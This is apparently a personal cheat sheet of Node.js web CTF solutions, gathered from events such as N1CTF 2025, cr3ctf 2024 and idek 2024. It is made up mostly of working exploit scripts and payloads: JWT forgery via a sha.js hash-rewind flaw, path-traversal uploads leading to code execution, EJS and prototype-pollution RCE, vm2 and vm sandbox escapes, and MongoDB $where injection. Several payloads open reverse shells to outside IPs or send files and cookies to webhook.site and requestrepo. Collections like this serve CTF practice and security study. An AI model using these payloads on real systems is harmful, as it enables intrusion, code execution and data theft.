eezzjs
| Event Name | N1CTF 2025 |
| GitHub URL | https://github.com/Nu1LCTF/n1ctf-2025/tree/main/web |
| Challenge Name | eezzjs |
Attachments
References
solution 1
eezzjs:
const sha = require('sha.js')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => {console.log('[DEBUG] m =', m); hash.update(m)})
return hash.digest('hex')
}
const header = {
"typ": "JWT",
"alg": "HS256"
};
var payload = {
"exp": 9999999999,
"foo": "bar",
"length": -45
};
const secret = 'a'.repeat(18);
console.log(sha256(...[JSON.stringify(header), payload, secret]));
pwned.pwned to /app/views/pwned.pwned:{"filename":"../views/pwned.pwned","filedata":"dGVzdAo="}
pwned to /app/node_modules/:{"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}
pwned module:/?templ=pwned.pwned
^ Express.js will import module pwned and call function __express
solution 2
My solver for eezzjs:
import httpx
import base64
from secrets import token_hex
def b64url(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode("ascii")
url = "<http://127.0.0.1:3500>"
url = "<http://60.205.163.215:25217>"
HOST = url
c = httpx.Client(base_url=url)
header = b'{"alg":"HS256","typ":"JWT"}'
body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18)
# might be library dependent, i tried to hash empty strings but always got e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
# sha.js seems to return this hash on empty state
magic_hash = "674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1"
token = b64url(header) + "." + b64url(body) + "." + magic_hash
c.cookies.update({"token": token})
print(f"{token = }")
ssti_payload = b"""
<%
const cp = (Function('return process'))().mainModule.require('child_process');
const data = cp.execSync('cat /flag', 'utf8');
%>
<pre><%= data %></pre>
"""
nonce = token_hex(2)
r = c.post(
"/upload",
json=dict(
filename="../../app/views/exploit_%s.ejs/a/.." % nonce,
filedata=base64.b64encode(ssti_payload).decode(),
),
)
print(r.text)
assert r.status_code != 302
r = c.get("/?x=../../", params={"templ": "exploit_%s.ejs" % nonce})
print(r.text)
solution 4
eezzjs:
跑一下npm audit发现存在CVE,甚至给出的链接里面有PoC
# npm audit report
sha.js <=2.4.11
Severity: critical
sha.js is missing type checks leading to hash rewind and passing on crafted data - https://github.com/advisories/GHSA-95m3-7q98-8xr5
fix available via `npm audit fix --force`
Will install sha.js@2.4.12, which is outside the stated dependency range
node_modules/sha.js
1 critical severity vulnerability
To address all issues, run:
npm audit fix --force很快啊,使用 {length: -x} 回退全部hash状态即可让签名为定值就能伪造登录了
let h = { alg: 'HS256', typ: 'JWT' }
let eh = toBase64Url(JSON.stringify(h))
let p = { length: -(JSON.stringify(h).length + JWT_SECRET.length) }
let s = '674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'任意文件写就ban了个js后缀,express加载模板的时候会根据后缀去require包,直接往node_modules里面写就行,利用代码如下:
import requests
import base64
target = 'http://60.205.163.215:49417'
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NX0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'
filedata = '''
const child_process = require('child_process');
exports.__express = function() {
var args = Array.prototype.slice.call(arguments);
cb = args.pop();
cb(null, child_process.execSync('cat /flag', {encoding: 'utf8'}));
}
'''.strip().encode()
url = f'{target}/upload'
data = {
'filedata': base64.b64encode(filedata).decode(),
'filename': '../node_modules/hhxx',
}
cookies = {
'token': token,
}
resp = requests.post(url, json=data, cookies=cookies)
print(resp.text)
url = f'{target}/upload'
data = {
'filedata': base64.b64encode(b'').decode(),
'filename': '../views/hack.hhxx',
}
cookies = {
'token': token,
}
resp = requests.post(url, json=data, cookies=cookies)
print(resp.text)
url = f'{target}/?templ=hack.hhxx'
r = requests.get(url)
print(r.text)
Server Side Prototype Pollution using IMPORT?
| Event Name | Project Sekai CTF 2025 |
| GitHub URL | https://github.com/project-sekai-ctf/sekaictf-2025/ |
| Challenge Name | vite |
Attachments
References
1. Mutation-Based XSS + V8 type confusion + V8 sandbox escape = RCE on Basecamp.
https://hackerone.com/reports/2819573
Prototype pollution gadget cheat sheet
Some JS bypass Array.from to make a dict become array
| Event Name | b01lers 2025 |
| GitHub URL | - |
| Challenge Name | no-code |
Attachments
References
solver
from urllib.parse import urlencode, urlparse, urlunparse
def flatten_dict(d, parent_key='', sep='[', suffix=']'):
items = []
for k, v in d.items():
new_key = f"{parent_key}{sep}{k}{suffix}" if parent_key else k
if isinstance(v, dict):
items.extend(flatten_dict(v, new_key, sep, suffix).items())
elif isinstance(v, list):
for i, item in enumerate(v):
items.extend(flatten_dict(item, f"{new_key}{sep}{i}{suffix}", sep, suffix).items())
else:
items.append((new_key, v))
return dict(items)
def generate_url(base_url, params):
# Flatten nested dictionary structure
flat_params = flatten_dict(params)
print(flat_params)
# Encode parameters with array syntax
query_string = urlencode(flat_params)
# Parse and rebuild URL with proper encoding
url_parts = list(urlparse(base_url))
url_parts[4] = query_string
return urlunparse(url_parts)
# Example usage matching the provided URL
params = {
"page": "contact",
"props": {
"__proto__": {
"children": {
0: {
"tag": "base",
"attributes": {
"href": "https://b6d1-182-253-48-65.ngrok-free.app"
},
"children": "foo"
},
"length": 1
},
}
}
}
base_url = "http://localhost:8000/contact"
print(generate_url(base_url, params))Fastify prototype pollution to XSS
| Event Name | b01lers 2025 |
| GitHub URL | - |
| Challenge Name | no-code |
Attachments
References
http://localhost:8000/scripts/?__proto__[statusCode]=500&__proto__[status]=a&__proto__[content-type]=text/html&__proto__[body]=gg&__proto__[message]=%3Cscript%3Ealert(1)%3C/script%3E
Some JS bypass instanceof
| Event Name | Plaid CTF |
| GitHub URL | - |
| Challenge Name | - |
Attachments
References
Easy Right?
| Event Name | ARA CTF Quals 2025 |
| GitHub URL | - |
| Challenge Name | Easy Right |
Attachments
Referensi dari sini:
https://stackoverflow.com/questions/35949554/invoking-a-function-without-parentheses
Check jawaban nomer 7
#{x='global\x2ep\x72ocess\x2emainModule\x2econ\x73tructor\x2e_load\x28\x27child_p\x72ocess\x27\x29\x2ee\x78ec\x28"curl\x20https://webhook\x2esite/65986ea6-ac85-4460-a5b0-430301ccbd2f\x20-d\x60cat\x20/*\x2etxt\x60"\x29'}
#{x instanceof {[Symbol['hasInstance']]: globalThis['ev'+'al']}}
node / js
# Under Construct (CTFZone 2023)
https://github.com/daffainfo/ctf-writeup/tree/main/CTFZone 2023 Quals/Under construction
<!DOCTYPE html>
<html lang="en">
<head>
<script>
var socket = new WebSocket("ws://127.0.0.1:9229/e088028c-dabc-46e3-8523-68a903b44a5c");
var send_message = (message)=> {
try {
let xmlHttp = new XMLHttpRequest();
xmlHttp.open("POST", "<https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>", false);
xmlHttp.send(message);
} catch (e) {
}
}
send_message("Connection established")
socket.onopen = function() {
socket.send(JSON.stringify({
id: 1,
method: 'Runtime.enable'
}))
socket.send(JSON.stringify({
id: 2,
method: "Runtime.evaluate",
params: {
expression: "eval(process.mainModule.require('child_process').exec('curl -X PUT -d \\"$(sudo /bin/cat /root/flag.txt)\\" <https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>'))"
}
}))
};
</script>
</head>
<body>
</body>
</html>
EJS Exploit
https://hackmd.io/121tmbyPQ9SV8qLHhe5Ykw
http://localhost:3000/greet?name=dimas&font=Arial&fontSize=20&settings[view+options][client]=1&settings[view+options][escapeFunction]=console.log;return%20global.process.mainModule.constructor._load(%22child_process%22).execSync(%22ls%22);
VM2 Sandbox escape
https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
Node EJS to XSS.
Seccon ctf quals 2023 challenge eeeeejs https://blog.arkark.dev/2023/09/21/seccon-quals/
<http://eeeeejs.seccon.games:3000/?filename=render.dist.js&src=asd&settings[view%20options][delimiter]=%20&settings[view%20options][openDelimiter]=(opts.debug)&settings[view%20options][closeDelimiter]=%20%20%20%20%20%20%20var%20returnedFn%20=>
<http://eeeeejs.seccon.games:3000/?markup=%3Ca%20name=%22%3Cscript%20src=%27?client%3D1%26markup=top.location%3D`https://onzihdie.requestrepo.com`.concat(document.cookie)%26filename=render.dist.js%26settings[view%20options][openDelimiter]%3DscapeXML%20%3D%20function(markup)%20{%250A%20%20%20%20%20%26settings[view%20options][closeDelimiter]%3D%20%20%20};%26delimiter%3D%20%26%27%3E%3C/script%3E%22%3E%3C/a%3E&_MATCH_HTML=a%20name&encode_char=iframe%20srcdoc&filename=render.dist.js&settings[view%20options][openDelimiter]=scapeXML%20=%20function(markup)%20{%0A%20%20%20%20%20&settings[view%20options][closeDelimiter]=%20%20%20};&delimiter=%20&client=1>
<http://localhost:3000/?settings[view+options][delimiter]=+&settings[view+options][openDelimiter]=if+(opts.debug)&settings[view+options][closeDelimiter]=+++++++var+returnedFn+=+opts.client+?+fn+:&&filename=render.dist.js&name=u&src[<script+src="/?settings%255bview%2boptions%255d%255bdelimiter%255d%3d%2b%26settings%255bview%2boptions%255d%255bopenDelimiter%255d%3dif%2b(opts.debug)%26settings%255bview%2boptions%255d%255bcloseDelimiter%255d%3d%2b%2b%2b%2b%2b%2b%2bvar%2breturnedFn%2b%3d%2bopts.client%2b%3f%2bfn%2b%3a%26settings%255bview%2boptions%255d%255bdebugx%255d%3d1%26%26filename%3drender.dist.js%26name%3du%26src%3dalert(1);%3b%26opts%3d1"></script>]=xss&opts=1>
If we need to exploiting process that didn't had process.mainModule
vsctf 2023
https://itnext.io/how-i-exploited-a-remote-code-execution-vulnerability-in-fast-redact-9e69fa35572fhttps://jwlss.pw/mathjs/
list of binding function https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/lib/internal/bootstrap/realm.js#L87
JSDOM
let spawnSync = this.constructor.constructor(`
spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}
return function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}
`)()
let exec = (x)=>spawnSync("bash",['-c',x])
console.log(exec("sh -i >& /dev/tcp/108.137.37.157/4444 0>&1"))
another solution:
JSDOM
<script>
window._globalObject.__proto__.__proto__.__proto__.argv0 = "require('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/8.tcp.ngrok.io/13228 0>&1\\"')//";
window._globalObject.__proto__.__proto__.__proto__.shell = "/proc/self/exe";
window._globalObject.__proto__.__proto__.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline";
const req = new XMLHttpRequest();
req.open('GET', '<http://foo/>', false);
req.send();
</script>
another solution:
using node api plugin
#include <node_api.h>
#include <array>
#include <memory>
#include <string>
#include <cstdio>
napi_value RunReadFlag(napi_env env, napi_callback_info info)
{
napi_value output;
std::array<char, 128> buffer;
std::string result;
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("./readflag", "r"), pclose);
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
{
result += buffer.data();
}
napi_create_string_utf8(env, result.c_str(), result.length(), &output);
return output;
}
NAPI_MODULE_INIT()
{
napi_value method;
napi_create_function(env, "exports", NAPI_AUTO_LENGTH, RunReadFlag, NULL, &method);
return method;
}
<body>
<script>
const outerRealmFunctionConstructor = Node.constructor;
const process = new outerRealmFunctionConstructor("return process")();
const g = new outerRealmFunctionConstructor("return global")();
const fs = process.binding('fs');
const c = process.binding('constants').fs;
const readdir = new fs.FSReqCallback();
readdir.oncomplete = (err, files) => {
g.console.log("Directory contents", files);
g.fetch("https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd", {
method: "post",
body: JSON.stringify(files),
});
};
fs.readdir("./", "utf8", false, readdir);
const addon = "// base64 encoded addon.node\\n";
// <https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/src/node.h#L1056>
const base64 = 2;
const buf = process.binding("buffer").createFromString(addon, base64);
g.console.log("created buf", buf.byteLength);
const open = new fs.FSReqCallback();
open.oncomplete = (err, fd) => {
g.console.log("opened file", fd);
const write = new fs.FSReqCallback();
write.oncomplete = (err, written) => {
g.console.log("wrote file", written);
const close = new fs.FSReqCallback();
close.oncomplete = (err) => {
g.console.log("closed file", fd);
const module = { exports: {} };
process.dlopen(module, "./addon.node");
g.console.log("loaded module", module.exports);
flag = module.exports();
g.console.log("flag", flag);
g.fetch("<https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd>", {
method: "post",
body: flag,
});
};
fs.close(fd, close);
};
fs.writeBuffer(fd, buf, 0, buf.byteLength, 0, write);
};
fs.open("./addon.node", c.O_TRUNC | c.O_CREAT | c.O_WRONLY, 0o777, open);
</script>
</body>
New way to prototype polution
https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON CTF 2023/Harmony
Object.defineProperty(Object.prototype, './lib/renderer/api/ipc-renderer.ts', {
set(v) {
console.log('set', v)
this.module.exports._load('child_process').execSync('touch foobar')
}
})
VM Bypass
bypassing vm jail with some prototype pollution
cr3ctf 2024
const { workerData, parentPort } = require('worker_threads');
require("./worker_globals.js");
const vm = require('vm');
const secret = process.env["SECRET"];
const flag = process.env["FLAG"];
const stringifyVMOutput = (value) => {
let result = '';
switch (typeof value) {
case 'string':
case 'object':
result = JSON.stringify(value);
default:
result = String(value);
};
const cr3Pattern = /cr3\{(.*?)\}/i;
const cr3MatchSecret = secret.match(cr3Pattern);
const cr3MatchFlag = flag.match(cr3Pattern);
if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
return "you don't wanna see it, trust me...";
}
return result;
};
process.env = null;
process = null;
fetch = null;
const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
const whitelist = [
"crypto",
"path",
"buffer",
"util",
"worker_threads",
"stream",
"string_decoder",
"console",
"perf_hooks"
];
if (!whitelist.some(p => id == p))
return;
return moduleRequire(id);
}
let result;
try {
result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));
parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
parentPort.postMessage(e.message);
}
sol:
new Proxy({}, {
get: function(me, key) { return (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())')) }
})
(function(){k = this; return ({ toJSON: function() {return arguments.callee.caller.constructor(`globalThis.module.require("worker_threads").parentPort.postMessage(globalThis.module.require("util").format(globalThis.storage))`)()} })})()
jscript Revenge
cr3ctf 2024
including v8 reverse engineering
const { workerData, parentPort } = require('worker_threads');
require("./worker_globals.js");
const { runBytecodeFile } = require("./bytecode.js")
globalThis.require = require;
runBytecodeFile("./utils.jsc")();
const vm = require('vm');
const secret = process.env["SECRET"] || "cr3{test_secret}";
const flag = process.env["FLAG"] || "cr3{test_flag}";
const stringifyVMOutput = (value) => {
let result = '';
switch (typeof value) {
case 'string':
case 'object':
result = JSON.stringify(value);
default:
result = String(value);
};
const cr3Pattern = /cr3\{(.*?)\}/i;
const cr3MatchSecret = secret.match(cr3Pattern);
const cr3MatchFlag = flag.match(cr3Pattern);
if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
return "you don't wanna see it, trust me...";
}
return result;
};
process.env = {};
process = null;
fetch = null;
let result;
try {
result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));
parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
parentPort.postMessage(e.message);
}
sol
new Proxy({}, {
get: function (me, key) {
return (arguments.callee.caller.constructor(`
const e=(a)=>{throw Error(a)};
js=JSON.stringify;
JSON.stringify=x=>x;
String=x=>x;
q={includes:e};
arguments.callee.caller(q);
`))
}
})
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()
new Proxy(_=>_ , {
get: new Proxy(_=>_ , {
apply: function(target, thisArg, argumentsList) {
return argumentsList.constructor.constructor(`
let leak;
const stream = secureRequire('stream');
const console = secureRequire('console');
const out = stream.Writable({
write(data) {
leak = data;
}
});
const logger = new console.Console({ stdout: out });
logger.dir(storage);
return Array.from(leak).toString();
`);
}
})
})
qs lib preserves order
cr3 ctf 2024
http://localhost:3000/?role[10]=%3Cimg%20src=x%20onerror=alert(1)%3E&role=x&role=user
our payload will be appended in the last
{ role: [ 'x', 'user', 'userx', '<img src=x onerror=alert(1)>' ] }]
Bypassing double find by using Math.random in mongodb $where query
r3CTF 2024
case:
const { password, ...query } = /** @type {any} */ (req.body)
await verifyUser(query, password)
const { username, premium } = await Users.findOne(query)
We can try this method to bypass the issue. It has a 50% chance of success.
res = api.login({
"password": password,
"$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
})
Node 22 have builtin WebSocket support that we can access throught port 9229
node 22 have builtin WebSocket support. if we can
FROM node:22.2.0-bullseye
Arbitary file write and read using wasi in node 22, wasi supported event with this flag
execArgv: [...process.execArgv, `--experimental-permission`, `--allow-fs-read=${agentPath}`],
✓-JustMongo test.wabt
apt install wabt
wat2wasm test.wabt
you get the test.wasm file that will get executed
for ref I patched sandbox.mjs with
import { WASI } from 'wasi';
import { argv, env } from 'node:process';
import { readFile } from 'node:fs/promises';
const wasi = new WASI({
version: 'preview1',
args: argv,
env,
preopens: {
'/': '/tmp',
},
});
export async function main() {
const wasm = await WebAssembly.compile(
await readFile('test.wasm'),
);
const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject());
wasi.start(instance);
}
import httpx
import random
URL = "http://localhost:3000"
# URL = "http://ctf2024-entry.r3kapig.com:31142/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def register(self, json):
return self.c.post("/api/register", json=json)
def login(self, json):
return self.c.post("/api/login", json=json)
def session(self, token):
return self.c.get("/api/session", params={"token": token})
def run(self, code, token):
return self.c.post("/api/run", json={"code": code, "token": token})
class API(BaseAPI):
...
if __name__ == "__main__":
api = API()
username = random.randbytes(8).hex()
password = random.randbytes(8).hex()
api.register({"username": username, "password": password})
while True:
try:
res = api.login({
"password": password,
"$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
})
if res.status_code == 500:
continue
token = res.json()['token']
res = api.session(token)
plan = res.json()['plan']
if plan == "premium":
print("admin token:", token)
break
except Exception as e:
continue
res = api.run("""
export async function main() {
process.kill(process.ppid, "SIGUSR1");
await new Promise(r => setTimeout(r, 300));
const path = await fetch("http://127.0.0.1:9229/json/list").then(x => x.json());
const ws = new WebSocket(path[0].webSocketDebuggerUrl);
await new Promise(r => ws.onopen = r);
const data = `process.execArgv=['--allow-fs-read=*', '--allow-fs-write=*', '--allow-child-process'];`;
ws.send(JSON.stringify({ 'id': 1, 'method': 'Runtime.evaluate', 'params': { 'expression': data } }));
const msgs = [];
ws.onmessage = (msg) => msgs.push(msg.data);
await new Promise(r => setTimeout(r, 300));
return msgs;
}
""", token)
print(res.text)
res = api.run("""
import * as cp from "child_process";
export async function main() {
return cp.execSync("id").toString();
}""", token)
print(res.text)
well maybe we can do something simeple using process binding? not tested
Constructor join to polute an object
When the reduce is used and will be called in the next code with more thank 2 argument, we can polute first argument with value of second argument using constructor.assign
var methodToCall = parts.reduce(function (prev, cur) {
if (prev !== null && prev[cur]) {
return prev[cur];
}
return null;
}, Namespaces);
async.waterfall([
function (next) {
if (Namespaces[namespace].before) {
Namespaces[namespace].before(socket, eventName, params, next);
} else {
next();
}
},
function (next) {
methodToCall(socket, params, next);
},
], function (err, result) {
console.log('result', err, result);
callback(err ? { message: err.message } : null, result);
});
function requireModules() {
var modules = [
'user',
'button',
'room'
];
modules.forEach(function (module) {
Namespaces[module] = require('./' + module);
});
}
solver:
import httpx
import asyncio
import socketio
URL = "http://funny-buttons.ctfz.zone/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url)
def register(self, username, password):
return self.c.post("/register", json={
"username": username,
"password": password
})
def login(self, username, password):
return self.c.post("/login", json={
"username": username,
"password": password
})
class API(BaseAPI):
...
async def main():
api = API()
res = await api.register("foobar", "hehe")
res = await api.login("foobar", "hehe")
print(res.text)
async with socketio.AsyncSimpleClient() as c:
await c.connect(str(api.c.base_url), headers={"Cookie": f"connect.sid={api.c.cookies.get('connect.sid')}"})
async def communicate(msg: str, data, receive_response: bool = True):
print(f'Sending {msg} with {data = }')
await c.emit(msg, data)
if receive_response:
try:
method, resp = await c.receive(timeout=5)
print(f'Received response for {method}: {resp}')
except:
return None
return resp
return None
await communicate("constructor.assign", {"uid": 1}, False)
await communicate("user.getInfo", {})
uid = 17
resp = {'pressed': False}
while not resp['pressed']:
resp = await communicate("button.press", {"id": uid})
res = await communicate("button.get", {"id": uid})
if __name__ == "__main__":
asyncio.run(main())
MathJS if there’s prototype polution
https://ctf.m0lecon.it/challenge
there’s a waf
fx(x)=fy(y)=equalText(y, "constructor")
do_call(x)=x()
fz(x)=do_call(x.getOwnPropertyDescriptor(x.getPrototypeOf(x), 'constructor').value("alert('hacked')"))
to_xy({}, [["hasOwnProperty", fx, "x"], ["x", fz, "constructor"]])
with no prototype polution, idek ctf 2024 clyde jail
win2(module) = module._load('child_process').execSync('/readflag').toString()
win(global) = global.console.log(win2(global.Reflect.get(global.Reflect.get(global.process, 'mainModule'), 'constructor')))
p(e, c) = win(c.shift().getThis())
proto.prepareStackTrace = p
property = {value: 1}
proto.type='SymbolNode'
proto.isNode=true
proto.isConstantNode=true
proto.isObjectNode=true
proto.value='constructor'
proto.properties={}
Object = simplifyConstant(parse('a[x]'))
Array = Object.getPrototypeOf([].toArray())
Object.defineProperty(Array, 'push', property)
#!/usr/bin/env python3
import time
from pwn import remote
conn = remote("127.0.0.1", 1337)
time.sleep(0.5)
"""
- ObjectNode checks that the properties it is created with are safe. it does this by calling stringify (from utils/string.js) on the key. this looks like
export function stringify (value) {
const text = String(value)
let escaped = ''
let i = 0
while (i < text.length) {
const c = text.charAt(i)
escaped += (c in controlCharacters) ? controlCharacters[c] : c
i++
}
return '"' + escaped + '"'
}
so you can just pollute e.g. '#' to 'n', so that when you create an object with the key 'toStri#g', it'll change the name to 'toString'
- object accesses are done via the AccessorNode/IndexNode and check that the property is a "safe property" according to utils/customs.js; you can call _compile with any arguments of your choosing
using the above, this means that you can just call it with some object which passes the first few checks (by toString -> foo) but then switches to a dangerous one on the actual access :)
- you can get Object with this. to get global scope, we can use the Error.prepareStackTrace api (inspired by https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Canvas)
but since mathjs is all in strict mode, we can't getThis(): https://v8.dev/docs/stack-trace-api#:~:text=To%20maintain%20restrictions
luckily, the cli code itself isn't strict mode, so we can just force the cli code to error (by overwriting e.g. Array.prototype.push) and win from there
you need to error in the right place so that this is the global object, and in the cli code i think the only place that works is the completer function
"""
conn.sendline("""\
proto["#"] = "n";
cnt = 2;
switcher() = (cnt = cnt - 1) ? "name" : "constructor";
returnSwitcher(x) = switcher;
has(x) = true;
c = resolve('{ "toStri#g": switcher }');
c = c._compile({},{});
c = c({ has: has, get: returnSwitcher });
isObjectProperty() = true;
getObjectProperty() = c;
index(x) = { isObjectProperty: isObjectProperty, getObjectProperty: getObjectProperty };
has(x) = true;
get(x) = { "1": "" };
scope = { has: has, get: get };
acc = resolve("foo[0]")._compile({ index: index },{});
Object = acc(scope);
getOwn(obj, prop) = Object.getOwnPropertyDescriptor(obj, prop).value;
win2(load) = load("child_process").execSync("/readflag");
win(global) = global.console.log(win2( global.Reflect.get( global.Reflect.get( getOwn( Object.getOwnPropertyDescriptors(global).process.get(), "mainModule" ), "constructor" ), "_load" ) ).toString());
prepareStackTrace(x,y) = win( getOwn(y,0).getThis() );
proto.prepareStackTrace = prepareStackTrace;
Object.defineProperty(Object.getPrototypeOf([].toArray()), "push", { value: null });
""".replace("\n", "").encode())
# here it would be easier to just do conn.interactive() and tab for completer manually, but this needs to be automated
time.sleep(0.25)
conn.send(b"ang")
time.sleep(0.25)
conn.send(b"\t")
time.sleep(0.25)
res = conn.recvall().decode()
if "idek{" not in res:
exit(1)
exit(0)
Exploiting prototype polution in nodejs without filesystem
https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem
